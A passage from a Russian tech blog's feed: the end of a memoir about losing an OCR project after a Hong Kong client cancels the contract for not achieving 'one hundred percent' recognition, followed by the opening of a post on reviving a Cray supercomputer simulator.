  </figure>
  <h2 id="mD5e">Стопроцентное распознавание</h2>
  <p id="PCTS">Заранее пройдя все досмотры, я сидел в зоне вылета Шереметьево, в ожидании посадки на рейс до Гонконга. «Ирландский кофе», придуманный специально для таких ситуаций почему-то никак не бодрил. </p>
  <p id="EWSf">— А теперь к событиям в мире..</p>
  <p id="wM1C">— ..Вчера вечером полицией был задержан известный гонконгский бизнесмен, владелец нескольких компаний в сфере высоких технологий..</p>
  <p id="vL0N">В баре работал телевизор и диктор новостей только что перевыполнил план по бодрости, подвинув даже ирландский кофе. </p>
  <p id="ZIdj">Посмотрев на посадочный талон, я крепко задумался — может стоит сдать? </p>
  <p id="S834">Перспектива застрять в Гонконге на неопределенный срок, давая показания местной полиции откровенно не радовала.</p>
  <p id="Nxqm">— ..предъявлены обвинения в мошенничестве, сговоре, обмане инвесторов и незаконной торговле криптовалютами.. </p>
  <p id="BtvX">Несмотря на хреновое качество изображения, снятое с камеры наблюдения и закрытое черной плашкой лицо, было очевидно что это не Ченг. </p>
  <p id="HoJn">Ни старший, ни младший.</p>
  <p id="lNbA">— ..Гонконг, ставший в последние годы Меккой для криптоинвесторов со всего мира, ужесточает контроль и вводит новые ограничения в торговле криптовалютами..</p>
  <p id="74KC">Дела надо доводить до конца, так что я допил свой ирландский кофе, взял посадочный и отправился к выходу.</p>
  <p id="41HV">..</p>
  <p id="MmhE">Гонконг встретил проливным дождем. </p>
  <p id="ZGVS">Хотя этот знаменитый город и расположен сильно дальше от экватора чем Сингапур, проливные дожди тут тоже регулярно бывают. </p>
  <p id="f6n4">Но дождь хотя бы не льет месяцами, загоняя всех жителей под навесы и в торговые центры.</p>
  <p id="KhYw">Из аэропорта Гонконга в город идет отдельная ветка метро, по которой я рассчитывал добраться до офиса компании Ченга-младшего в тот же день. </p>
  <blockquote id="k1q2">Поскольку это была не первая наша встреча и даже не вторая, а где-то ближе к десятой — никакого смысла в оттягивании сложного разговора не было. </blockquote>
  <p id="3kRj">Вряд ли бы Томас удивился моему помятому после многочасового перелета виду, отсутствию делового костюма или щетине. </p>
  <p id="XsYy">Его папа — другое дело, но встречаться с Ченгом-старшим в мои планы не входило.</p>
  <p id="2Wx5">..</p>
  <p id="gPfB">Мне отказали.</p>
  <p id="X492">Вежливо разумеется, с извинениями. Позвонил секретарь Катрин и попросил перенести встречу на следующий день. На утро.</p>
  <p id="J8xx">Секретарь? </p>
  <p id="Xvu5">Совсем недавно Катрин сама выполняла роль секретарши, бегая по этажам офиса в поисках кофе для Томаса и его гостей.</p>
  <p id="N3NF">Что это? Внезапное повышение? </p>
  <p id="pgoL">Еще замечу для тех кто не знает, утренние встречи — всегда про плохое: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="7Mtm">увольнения, сокращения, разрыв отношений, отказ от сотрудничества, налоговые проверки..</p>
  </section>
  <p id="lBkV">Все эти занимательные мероприятия стараются проводить утром. </p>
  <p id="4Fmo">..</p>
  <p id="3vXY">Утром следующего дня, побритый, помытый и в деловом костюме я поднимался на лифте к офису Томаса Ченга.</p>
  <blockquote id="VfFM">..две «беретты» с расширенным магазином, скрытые в кобурах под плащом, кольт за поясом и старый добрый нож-бабочка — первая школьная любовь, греющий руку, возвещали о серьезности его намерений..</blockquote>
  <p id="yDaa">Шучу конечно. </p>
  <p id="DdyY">Хотя шальная мысль «просто пристрелить» и привлекала своей детской простотой, взыскивать долги с мертвецов пока еще не научились.</p>
  <p id="5qmS">Как только доходит до денег — приходится договариваться, причем обязательно с живым человеком. Также как и сотню лет назад.</p>
  <p id="ChIe">Спрашиваете, откуда взялся деловой костюм и забота о внешнем виде? </p>
  <p id="eqTm">Ну просто я уже догадывался к чему все идет. И для такого п#здореза лучше быть при полном параде.  </p>
  <p id="ixuB">..</p>
  <p id="KH6V">В офисе Ченга были серьезные изменения.</p>
  <p id="zp2T">Со стен сняли картины, часть мебели отсутствовала, кругом стояли большие коробки — явно шла подготовка к переезду. </p>
  <p id="VHON">Или закрытию?</p>
  <blockquote id="40zU">В любом случае Катрин ни о чем таком не предупреждала.</blockquote>
  <p id="pKjN">На рецепшне никого не оказалось, так что я отправился прямиком к кабинету Томаса, благо маршрут был давно изучен.</p>
  <p id="OzFO">Проходя мимо пустых рабочих мест, выключенных и частично упакованных компьютеров, оставалось лишь мрачно гадать, что бл#ть все это означает. </p>
  <p id="I6IH">В кабинете Томаса, полагаю теперь уже бывшем, за его рабочим столом сидела Катрин.</p>
  <p id="0R5C">Судя по виду — в не очень хорошем настроении.</p>
  <p id="DPIG">— Доброе утро, ты не предупреждала, что вы переезжаете. </p>
  <p id="LhRG">— А где Томас?</p>
  <p id="Py8z">— Присаживайся Александр, Томаса не будет.</p>
  <p id="SAsq">Катрин впервые назвала меня полным именем, не Алексом. </p>
  <blockquote id="yFsg">Французы — единственные из европейцев, которым без особого труда удавалось выговорить мое полное имя. Но даже они старались по-умолчанию  использовать сокращенный вариант.</blockquote>
  <p id="ztHi">С чего вдруг такая серьезность? </p>
  <p id="Dobp">И где блин Томас?</p>
  <p id="Tbz5">Катрин при всех ее талантах, была лишь сотрудником на зарплате и не принимала ключевых решений. Без Томаса эта встреча не имела смысла. Но коль приехал — надо было доигрывать до конца.</p>
  <p id="cBlQ">Все равно вечером на#бенюсь.</p>
  <p id="wUcv">— Ладно, полагаю мое письмо ты видела.</p>
  <p id="Ag41">Перед Катрин на столе лежала папка с документами, которую она протянула мне.</p>
  <p id="SrCt">— Ознакомьтесь, Александр. Как закончите — поговорим. </p>
  <p id="US3N">— Я подожду.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Rv7y">«Анализ и экспертная оценка проекта NOVA», значилось на обложке первого документа. </p>
  </section>
  <p id="jDvY">NOVA — внутреннее название нашего проекта. Томас оказался большим фанатом Half-Life, отсюда и название.</p>
  <p id="kdfC">В качестве автора была указана одна известная ИТ-компания, я даже не знал что они предоставляют подобные услуги.  </p>
  <p id="XDxN">Интересно сколько все это стоило.</p>
  <p id="8av2">Документ оказался весьма объемным, с кучей технических деталей, сносок, цитат, примеров кода и так далее — серьезная работа. </p>
  <p id="9oQT">Тратить время на его изучение посреди переговоров было неразумно.</p>
  <p id="dJty">— Катрин, при всем уважении, не очень понимаю что тут происходит. Но конечно рад, что вы провели аудит, причем повторный. </p>
  <p id="8D9g">Я помахал папкой в воздухе.</p>
  <p id="yarW">— Такого рода «заключения» надо было отправлять заранее, дав возможность ознакомиться специалистам и подготовить ответ. </p>
  <p id="dehh">— Если ожидаешь от меня каких-то быстрых решений и немедленных выводов — извини, их не будет.</p>
  <p id="T391">— Еще мы планировали встречу с Томасом Ченгом, CEO вашей компании. Я прилетел из другой страны ради встречи с ним. Чтобы обсудить важные вопросы, решения по которым может принять только он. </p>
  <p id="QNTN">— Катрин, ты лишь его сотрудник, c ограниченными полномочиями. Без обид.</p>
  <p id="wePH">Катрин все это время сверлившая меня недобрым взглядом, внезапно рассмеялась. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="6Dox">— Александр, я не работаю на Томаса. </p>
  </section>
  <p id="ywuN">..</p>
  <p id="8W5R">— Ченги — большая семья со столетней историей. Ты же не думал, будто Томас и дедушка Лу — единственные ее представители? </p>
  <p id="RSSn">— У семьи есть свой инвестиционный фонд, даже доля в компании, которая проводила этот аудит.</p>
  <p id="4X3i">— Я работаю на <strong>семью Ченгов</strong>, не на Томаса лично.</p>
  <p id="e1V8">Оказалось, мое понимание этой непростой ситуации сильно расходилось с реальностью. Но выяснять, зачем нужен был весь этот #банутый маскарад, не было ни малейшего желания.</p>
  <p id="2dUQ">— Тем не менее у нас подписан договор с компанией Томаса, на договоре стоит подпись и реквизиты.</p>
  <p id="SdzC">Катрин это не смутило.</p>
  <p id="Q3BG">— Александр, у меня есть необходимые полномочия. Это все что тебе надо знать.— Открой, пожалуйста, следующий документ.</p>
  <p id="TQAR">Я вернулся к папке и вытащил еще одну бумагу. «Шкатулка Пандоры», не иначе.</p>
  <p id="9jV6">— Исковое заявление? Серьезно? Собираетесь подавать на нас в суд?</p>
  <p id="DLeL">— Пока еще досудебное урегулирование.</p>
  <p id="X6Bp">— Катрин, ваша компания имеет серьезную задолженность по оплате, из-за чего ваш проект подвис в воздухе. Последние месяцы мы оплачивали разработку из своих средств, которых не хватит для завершения работ.</p>
  <p id="IUUH">— Если помнишь, я прилетел сюда чтобы договориться с Томасом о частичной оплате. Иначе придется увольнять людей.</p>
  <p id="VsZF">— Очень жаль, пусть пришлют резюме. Возможно некоторых сможем нанять к себе в штат.</p>
  <p id="v5k6">Чтобы вы понимали, примерно в таком ключе заканчиваются любые намеки на бедственное положение и необходимость немедленной оплаты.</p>
  <blockquote id="PhqR">«Директора на мороз, команду к себе в штат» — так в нулевые происходило укрупнение большинства отечественных ИТ-компаний.</blockquote>
  <p id="WFbw">На случай, если вы планировали «разжалобить» заказчика при кассовом разрыве или каких-то непредвиденных ситуациях.</p>
  <p id="CpGM">..</p>
  <p id="S2TL">— Не понимаю. У вас не было претензий пока шла разработка, мы даже по срокам укладывались. </p>
  <p id="kqRT">— Что все-таки пошло не так? </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ZtAO">— Пошло не так то, что вы, Александр и ваша команда — <strong>не справились.</strong></p>
  </section>
  <p id="kjen">— Выбирали неправильные технологии, например медленную Java.</p>
  <p id="zYAM">(это было сказано абсолютно серьезно)</p>
  <p id="VhYi">— ..не использовали стандартные методологии для управления <em>нашим проектом</em>, вместо известных и надежных средств разработки, использовали как-то самопал. (видимо про наш <a href="https://blog.0x08.ru/paster-overview-2025" target="_blank">Пастер</a>, который мы тогда применяли).</p>
  <p id="DY3B">— ..вместо надежных и коммерчески успешных средств распознавания текста, вы взяли какую-то страшную, устаревшую библиотеку из 90х. </p>
  <p id="MOO2">(это она про <a href="https://tesseract-ocr.github.io/" target="_blank">Tesseract</a>). </p>
  <p id="m9e8">Слушать эту чушь дальше не было никакого желания. Чушь остается чушью даже на фирменной бумаге и с десятком крутых подписей.</p>
  <p id="4Zqz">— Ээ Катрин..</p>
  <p id="2n8L">— Я еще не закончила. </p>
  <p id="Kep9">— Своими неверными действиями и ошибочными решениями, вы, Александр, критически ухудшили качество разрабатываемой системы.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="iQ7u">— Не обеспечив <strong>стопроцентного</strong> распознавания документов.</p>
  </section>
  <p id="lENT">..</p>
  <p id="LuDT">Для свободных от оков технического образования стоит пояснить:</p>
  <blockquote id="Uzzx">при работе с OCR <strong>не бывает</strong> ста процентов распознавания, поскольку в сам алгоритм работы заложена определенная ошибочность.</blockquote>
  <p id="WMX1">«Распознавание» это угадывание или даже гадание, временами на кофейной гуще. </p>
  <p id="KoTV">Катрин тем временем продолжила убивать мою веру в людей.</p>
  <p id="0fAM">— Семья Ченгов очень старая и уважаемая, достойна только самого лучшего. Мы платим за самое лучшее, за <em>сто процентов</em>. </p>
  <p id="KEim">— Не за 93, 95 или 70, которыми вы с Павлом по какой-то причине так сильно гордились, а только за <strong>сто</strong>.</p>
  <p id="vDyK">Я пригляделся — зрачки не расширены, озноба нет, речь спокойная и уверенная. Увлечения веществами за Катрин замечено не было, но говорят шизофрения подкрадывается незаметно.</p>
  <p id="bImC">— Катрин, а откуда взялось.. столь глубокое понимание в вопросах разработки? Мы не согласовывали конкретные технологии и инструменты, когда подписывали договор с Томасом.. </p>
  <p id="uicE">— ..вопросы методологий и ведения проектной работы — вообще наше внутреннее дело, точно не предмет обсуждения.</p>
  <p id="eZ6X">Тут я задумался.</p>
  <p id="EE8Z">Все время пока шла разработка и обкатка технологий распознавания, Картин была погружена в технические нюансы проекта.</p>
  <p id="sJA7">Она казалась нам умной и компетентной, особенно по сравнению с Томасом, поэтому мы не скрывали от нее «внутреннюю кухню» — технические моменты, коих было немало.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="v9zT">Чудес нет и многое действительно получалось далеко не с первой попытки. </p>
  </section>
  <p id="sVj2">Были проблемы с обработкой PDF, с массовым скачиванием документов, была куча сложных нюансов с алгоритмами OCR.</p>
  <p id="bfaW">Как оказалось, Катрин все это аккуратно записывала, составляла отчеты и затем доводила до <strong>своего</strong> руководства, о котором мы даже не догадывались. </p>
  <blockquote id="bhiG">Хорошо что я не стал брать Павла на встречу — такая подстава от любимой женщины, пусть и бывшей, точно выбила бы его из колеи. </blockquote>
  <p id="uVmu">Причем надолго.</p>
  <p id="M2n3">Но я еще не сдался окончательно, стоило сделать еще одну, последнюю попытку.</p>
  <p id="HwDI">— В техническом задании — в приложении к подписанному с вами договору, есть пункт про процент отбраковки. Мы предупреждали, что распознать все не получится. </p>
  <p id="5Kg6">— Этот договор?</p>
  <p id="DO79">Достав из ящика стола наш подписанный договор, Катрин аккуратно разогнула скрепку, а затем.. порвала его пополам. </p>
  <p id="tmO8">Несколько раз.</p>
  <p id="7PlW">— Достаточно доходчиво? Или нужны пояснения?</p>
  <p id="SdPm">— Тут чек на десять тысяч долларов, в качестве жеста доброй воли. </p>
  <p id="YUuI">Катрин протянула мне запечатанный конверт.</p>
  <p id="2ClN">— С этого момента договор с нашей компанией считается недействительным, мы прекращаем сотрудничество.</p>
  <p id="UbUw">..</p>
  <p id="bK4z">Когда я уже был в дверях, собираясь покинуть офис, Катрин внезапно окликнула, видимо желая добить.</p>
  <p id="0gRx">— Александр, совет на будущее. </p>
  <p id="u4SW">— Вы с Павлом слишком много о себе возомнили. </p>
  <p id="YnP7">— Ваш опыт и знания не уникальны, есть более грамотные. Всегда есть.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ksi9">— Мы нашли новых исполнителей, они <strong>гарантируют</strong> стопроцентное распознавание документов.</p>
  </section>
  <p id="463e">Я взглянул на Катрин — женщину средних лет, не глупую,<s> не угашенную в хлам</s>, с хорошим образованием и успешной карьерой, явно не испытывающую никаких финансовых затруднений и проблем в жизни. </p>
  <p id="RPTx">Посмотрел в ее глубокие голубые глаза.. и не нашел что ответить.</p>
  <figure id="fwHt" class="m_column">
    <img src="https://img1.teletype.in/files/c4/94/c494d6fa-5544-4d77-acb9-4bd60f251a4b.jpeg" width="2560" />
    <figcaption>Видите корабли вдали? Это все танкеры с нефтью, так местные играют с курсовой разницей.</figcaption>
  </figure>
  <h2 id="AyCS">Тотальный разгром</h2>
  <p id="i1c8">Это было фиаско. </p>
  <p id="2cT9">Потери от этого проекта были сопоставимы со стоимостью пары квартир в Москве. Мы потеряли команду, людей действительно пришлось увольнять.</p>
  <blockquote id="37EB">Какое-то время спустя, не выдержав тяжелых испытаний, вышел из бизнеса и мой тогдашний партнер.</blockquote>
  <p id="lS6t">Окончательно расплатиться с долгами удалось только через три года, но это был принципиальный вопрос.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="UD8U">Чернышевы и Ланнистеры всегда платят по своим счетам.</p>
  </section>
  <p id="kjAq">..</p>
  <p id="ZEZC">Несколько лет спустя, я сидел в маленькой кофейне на одной из гонконгских набережных, в ожидании встречи с одним из участников тех событий. </p>
  <p id="pVzZ">Который смог бы прояснить для меня пару вопросов.</p>
  <p id="eeoD">— Эрик привет! </p>
  <p id="qm07">— Сколько лет прошло. Смотрю, ты постарел.</p>
  <p id="F77Y">На самом деле Эрик в те годы был интерном в компании Томаса и учился в университете. Парню было лет 20, не больше. </p>
  <blockquote id="LfBD">Так что постарел скорее я сам, а Эрик — расцвел.</blockquote>
  <p id="EmCH">Ченг-младший привлек его помогать математику с расчетами. Потом Эрик активно участвовал в эксплуатации нашей системы с распознаванием и даже сам писал DSL-скрипты. </p>
  <p id="hADC">Умный малый.</p>
  <p id="dk9o">— Алекс! Рад встрече! Не знал что ты в Гонконге. Надолго кстати?</p>
  <p id="epd0">— Да я так, проездом в ваших краях.</p>
  <p id="rFvb">..</p>
  <p id="vxua">— Получается, на Ченгов ты больше не работаешь?</p>
  <p id="7r2r">— Нет. Вернулся в университет, решил продолжить обучение. Наука мне ближе, хочу когда-нибудь стать PhD.</p>
  <p id="2pJv">— Достойное занятие.</p>
  <p id="L7rT">— Так расскажи, чем все в итоге закончилось. Проект жив?</p>
  <p id="HjVq">Эрик рассказал.</p>
  <p id="nP0i">В общих чертах я уже представлял, что тогда произошло в бывшем кабинете Томаса, Эрик лишь добавил новых деталей.</p>
  <p id="HY1D">Ченгу-младшему все-таки снесло крышу от роскошной жизни:</p>
  <blockquote id="sPyR">вещества, бл#ди, азартные игры или алкоголь, а скорее все вместе — привели к тому, что Томас стал подворовывать из компании.</blockquote>
  <p id="3VhB">Это заметили и довольно быстро его <s>наказали</s> отстранили, по слухам отправив на лечение в частную клинику. </p>
  <p id="l2IE">Было запущено внутреннее расследование, из-за которого счета компании оказались заморожены. И начался тот самый внешний аудит.</p>
  <p id="8NHC">Хотя саму компанию не закрыли — те коробки и упакованные компьютеры в офисе, которые я наблюдал в последний визит, действительно оказались переездом в другое здание.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Cn85">Расследование внезапно выявило грешки еще и Ченга-старшего, который на поверку оказался далеко не таким крутым. </p>
  </section>
  <p id="gedx">«Дедушка Лу» прекрасно знал о проблемах сына, но покрывал его перед семьей как только мог. На чем в итоге и погорел.</p>
  <p id="y9W5">Наша «подруга с сюрпризом» — Катрин тоже чуть не попала под раздачу, проморгав залет Томаса, хотя была поставлена за ним присматривать.</p>
  <p id="fd1b">Вот такие зигзаги судьбы.</p>
  <p id="DO65"> — Так что вам просто не повезло. Вы, ребята, оказались не в том месте и очень не вовремя. Жаль что все так закончилось. </p>
  <p id="AkME">— Сам проект был отличный.</p>
  <p id="Ik0J">«Отличный проект», ага. </p>
  <p id="xWgY">И ведь не объяснишь, каково было увольнять сотрудников и затем годами расплачиваться с кредиторами.</p>
  <p id="rDIm">Для Эрика это действительно был отличный проект.</p>
  <p id="D1Ir">— Катрин еще что-то говорила о новых исполнителях — с ними хоть получилось?</p>
  <p id="8yO1">Эрик рассмеялся. </p>
  <p id="LHDU">— Получилось, ага. В некотором смысле.</p>
  <p id="AGv9">— Это причина по которой ее понизили до службы охраны, выкинув из правления. Наняла каких-то индусов, те ей наобещали.. </p>
  <p id="8vsk">— ..чуть ли не космолет построить.</p>
  <p id="Y7Jr">— А когда стали поджимать сроки, индусы пропали. </p>
  <p id="iWaK">Это меня не сильно удивило, поскольку уже был опыт работы с индийскими командами — разгребал за ними последствия.</p>
  <p id="W7Xv">..</p>
  <p id="CjZ0">— А как вышло, что Томас внезапно решил переносить все в облако? Еще и прямо посреди разработки?</p>
  <p id="ZNhn">— Да это все Лу, старый маразматик. </p>
  <p id="CELN">— Привел каких-то типов, работавших на ту известную облачную компанию. Познакомил с Томасом. </p>
  <p id="62K1">Видимо Боб и Майк, неужели они так везде и ходили парой?</p>
  <p id="XU4Y">— Эти двое, «облачные парни» каким-то образом прознали о нашем проекте,  подготовились и убедили Томаса на переезд к ним. </p>
  <p id="T05r">Действительно, кто бы мог им рассказать..</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="iS3d">— Они провели презентацию, рассказав как у нас «все плохо и криво», наобещали светлого будущего и выдали бесплатный период в облаке.</p>
  </section>
  <p id="4JW2">— Про биллинг на основе вычислительных ресурсов, никто из этих замечательных парней полагаю не вспоминал? </p>
  <p id="LsBp">Даже десяток запущенных процессов с OCR заметно нагружали процессор, а был ведь еще и неслабый сетевой трафик. И хранилище документов.</p>
  <blockquote id="qpAv">Будучи перенесенным в облако и без льготного периода, все это должно было обходиться в круглую сумму.</blockquote>
  <p id="4IkE">Эрик лишь усмехнулся.</p>
  <p id="TAz0">— Недавно в нашем университете отказались от их услуг, слишком дорого.</p>
  <p id="oLTu">..</p>
  <p id="fUez">Хотя сам Эрик ушел из компании через год после описываемых событий и не мог знать чем все закончилось, я все же выяснил судьбу проекта.</p>
  <p id="SNh9">«Особые умения», ага.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="8Mzq">Компанию Томаса, вместе со всеми наработками, продали новому владельцу</p>
  </section>
  <p id="7z56">Новый владелец оказался более адекватным, чем семья Ченгов. </p>
  <blockquote id="Jowr">Поэтому они быстро перешли на платные выгрузки с бирж, похоронив все что касалось OCR и обработки документов — большую часть нашей работы.</blockquote>
  <p id="SVRP">Но сам проект существует до сих пор, хотя и под другим названием.</p>
  <figure id="804q" class="m_column">
    <img src="https://img2.teletype.in/files/96/19/96190d8d-b884-49b0-8660-116372c64445.jpeg" width="1280" />
  </figure>
  <h2 id="wUwE">Конец инженера</h2>
  <p id="6dhl">— ..наш уникальный сервис на базе искусственного интеллекта обеспечивает наилучшее распознавание любых документов. </p>
  <p id="VSDX">— Настоящее чудо 21 века!</p>
  <p id="Eprt">— Давайте покажу ВАМ как это работает..</p>
  <p id="WCAV">-<s> Слышь пес</s> Можете продемонстрировать работу вот на этом PDF-документе? Будет очень интересно увидеть реальный прогресс.</p>
  <p id="OD5d">В качестве артефактов с того проекта, осталось несколько особо проблемных PDF, которыми я теперь вгоняю в краску любителей «читать PDF с помощью ИИ».</p>
  <p id="UVaN">Десять лет спустя, «в век ИИ» <s>и боевых роботов</s> почему-то никто так и не показал того самого <strong>стопроцентного распознавания</strong>.</p>
  <p id="t7cO">Как же так?</p>
  <p id="ZZkm"></p>
  <h2 id="WT0S">Эпилог</h2>
  <p id="LmLF">— Джеймс, вы столько всего повидали, фактически лично участвовали в рождении всей ИТ-отрасли. Расскажите «неофиту», сколько все-таки должна стоить нормальная ИТ-система?</p>
  <p id="490e">В далеком 2014м у меня случилась занимательная переписка с поистине уникальным человеком, принимавшем участие аж в создании <a href="https://en.wikipedia.org/wiki/ARPANET" target="_blank">ARPANET</a> — предке современного интернета.</p>
  <blockquote id="pWax">Дедушке уже тогда было далеко за 80, но бодрость духа и ясность мысли он не утратил. </blockquote>
  <p id="M2P5">Видимо поэтому имел должность «Vice President» в одной очень известной компании. </p>
  <p id="7nla">Мой вопрос его изрядно повеселил.</p>
  <p id="GPMp">— Ну скажем.. миллион долларов. </p>
  <p id="k0tf">— Разработка по всем правилам, с проработкой архитектуры, с документированием, с нормальной командой стоила в 70х около миллиона долларов. </p>
  <p id="DDpH">— Столько же это стоило и в 80х и 90х, столько стоит и сейчас. </p>
  <p id="TaH2">— Несмотря на новые технологии, прогресс и развитие, ничего по сути не изменилось.</p>
  <p id="6c2W">Это написал человек, всю карьеру не вылезавший из сложнейших проектов по разработке ИТ-систем.</p>
  <blockquote id="tewi">IBM, DEC, HP, Microsoft — все эти мировые компании развивались или даже появились при его жизни.</blockquote>
  <p id="cGWd">Мы не были связаны какими-либо обязательствами, поэтому у почтенного мистера Джеймса не было причин <s>врать</s> приукрашивать реалии.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="PVvV">Миллион долларов за разработку нормальной ИТ-системы.</p>
  </section>
  <p id="tw7c">По мнению настоящего ветерана ИТ-индустрии с уникальным <s>боевым</s> опытом, который такие системы создавал дольше чем живет на свете большинство из читателей. </p>
  <p id="yxFo">И у меня нет причин с этим не соглашаться.</p>
  <p id="q9As">..</p>
  <p id="QrMA"> </p>
  <figure id="BkD8" class="m_original">
    <img src="https://img1.teletype.in/files/44/63/4463468c-781d-4d66-94f8-069e989180c8.jpeg" width="604" />
    <figcaption>2003й год, студенческие годы</figcaption>
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/cray-resurrection-part-1</guid><link>https://blog.0x08.ru/cray-resurrection-part-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/cray-resurrection-part-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Cray: оживление легенды</title><pubDate>Fri, 20 Feb 2026 12:37:48 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/dd/89/dd89fd40-acc5-40db-b39d-cdf88d5a0346.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/56/9f/569f9199-e212-4c11-b6d7-9246ad02748b.jpeg"></img>В ИТ-индустрии существуют вещи, само существование которых давно стало красивым мифом, о котором принято вспоминать лишь шепотом и закатывая глаза от благоговения.]]></description><content:encoded><![CDATA[
  <p id="6Led">В ИТ-индустрии существуют вещи, само существование которых давно стало красивым мифом, о котором принято вспоминать лишь шепотом и закатывая глаза от благоговения.</p>
  <figure id="FiPS" class="m_column">
    <img src="https://img2.teletype.in/files/56/9f/569f9199-e212-4c11-b6d7-9246ad02748b.jpeg" width="2048" />
    <figcaption>Настоящий Cray.</figcaption>
  </figure>
  <h2 id="I8pi">Cray</h2>
  <p id="5vjk">На сегодняшний день, во всем мире осталось наверное не больше пары сотен инженеров, заставших «те времена» и имевших возможность прикоснуться к легенде. </p>
  <blockquote id="3ptL">Лишь единицы из них еще могут что-то рассказать.</blockquote>
  <p id="RDF3">То что описано в этой статье — редчайшее знание, которое совсем недавно было доступно горстке избранных, с ученой степенью, специальной подготовкой и допусками к <strong>такому</strong> оборудованию. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ML0c">Огромное, древнее чудовище из далекого прошлого, из времен мифов и легенд <strong>ожило</strong> и вернулось к жизни.. руками фанатов. </p>
  </section>
  <p id="KxhO">Дав возможность и простым людям прикоснуться к легенде.</p>
  <figure id="eJmG" class="m_original">
    <img src="https://img1.teletype.in/files/0a/17/0a171f80-29f1-458a-8f94-af1c3948232b.jpeg" width="648" />
    <figcaption>Seymour Cray на фоне собственного суперкомпьютера.</figcaption>
  </figure>
  <h2 id="mx3l">Легенда</h2>
  <p id="j1nA">Персона <a href="https://en.wikipedia.org/wiki/Seymour_Cray" target="_blank">Сеймура Крэя</a> навсегда останется в анналах истории компьютеров, поскольку созданные его руками машины неоднократно признавались самыми быстрыми на планете.</p>
  <p id="1tWM">Создаваемые полностью вручную (<a href="https://en.wikipedia.org/wiki/Cray-3/SSS" target="_blank">некоторые модели</a> — вплоть до чипов) и имевшие цену в десятки миллионов долларов, суперкомпьютеры Cray поставлялись в исследовательские лаборатории, крупные датацентры и конечно же в разведывательные управления разных стран.</p>
  <p id="chOO">Про последнее стоит рассказать подробнее: </p>
  <blockquote id="bKM1">суперкопьютеры Cray всю историю плотно ассоциировались именно с секретными проектами, поскольку действительно часто использовались для взлома секретных кодов, паролей и шифров.</blockquote>
  <p id="DXJJ">Что характерно, сам Крэй начинал карьеру во флоте (US NAVY) и работал над взломом японских шифров времен второй мировой войны, по всей видимости сохранив с тех лет хорошие отношения с главным разведывательным управлением.</p>
  <p id="vIdm">У вас же, дорогой читатель шанс увидеть суперкомпьютер Cray был <a href="https://cray-history.net/2023/08/20/cray-systems-in-popular-culture/" target="_blank">лишь в кино</a>, где они довольно часто мелькали в качестве реквизита:</p>
  <figure id="wqDY" class="m_column">
    <img src="https://img3.teletype.in/files/2e/cd/2ecdee50-933a-4e4a-a1c1-105354418813.jpeg" width="1024" />
  </figure>
  <p id="mIN9">Ни о работе с такими машинами, ни тем более о разработке под них простым обывателям не стоило даже мечтать, даже если они родились и выросли в США.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="tA3p">Допуски, специальное обучение с сертификацией и чаще всего наличие PhD — вот что обычно требовалось от «пользователей» подобного оборудования.</p>
  </section>
  <p id="OjUh">В Россию суперкомпьютеры Cray предсказуемо завозились с очень большими препонами и исключительно простые модели. В частности <a href="https://www.tadviser.ru/index.php/%D0%9F%D1%80%D0%BE%D0%B5%D0%BA%D1%82:%D0%A1%D1%83%D0%BF%D0%B5%D1%80%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80_%D0%A0%D0%BE%D1%81%D0%B3%D0%B8%D0%B4%D1%80%D0%BE%D0%BC%D0%B5%D1%82%D0%B0" target="_blank">в Росгидромете</a> была практика использования таких машин, начавшаяся еще в 90е.</p>
  <blockquote id="6v6g">Как бы то ни было, простому обывателю доступ к суперкомпьютерам Cray был заказан. </blockquote>
  <p id="vPaE">Я сам, несмотря на двадцать лет практики в разработке ПО, о них лишь слышал краем уха, да видел пару картинок в сети, вроде такой:</p>
  <figure id="5p3U" class="m_column">
    <img src="https://img4.teletype.in/files/70/b3/70b30a72-e562-4d10-af11-f563a3b0e618.jpeg" width="2773" />
    <figcaption>Производство суперкомпьютеров Cray-1</figcaption>
  </figure>
  <p id="5fmS">Тем удивительней оказывается история, рассказанная ниже.</p>
  <figure id="aeRN" class="m_column">
    <img src="https://img3.teletype.in/files/a1/74/a174f078-e796-4637-92b2-c8a02494871d.png" width="800" />
    <figcaption>Так выглядел случайно найденный бекап от суперкомпьютера.</figcaption>
  </figure>
  <h2 id="8zyP">Симулятор</h2>
  <p id="eXmV"><a href="https://www.modularcircuits.com/blog/articles/the-cray-files/prelude/" target="_blank">История создания</a> симулятора Cray за авторством Andras Tantos сама по себе достойна голливудской экранизации, поскольку являет собой победу инженерного духа над всеми преградами и трудностями:</p>
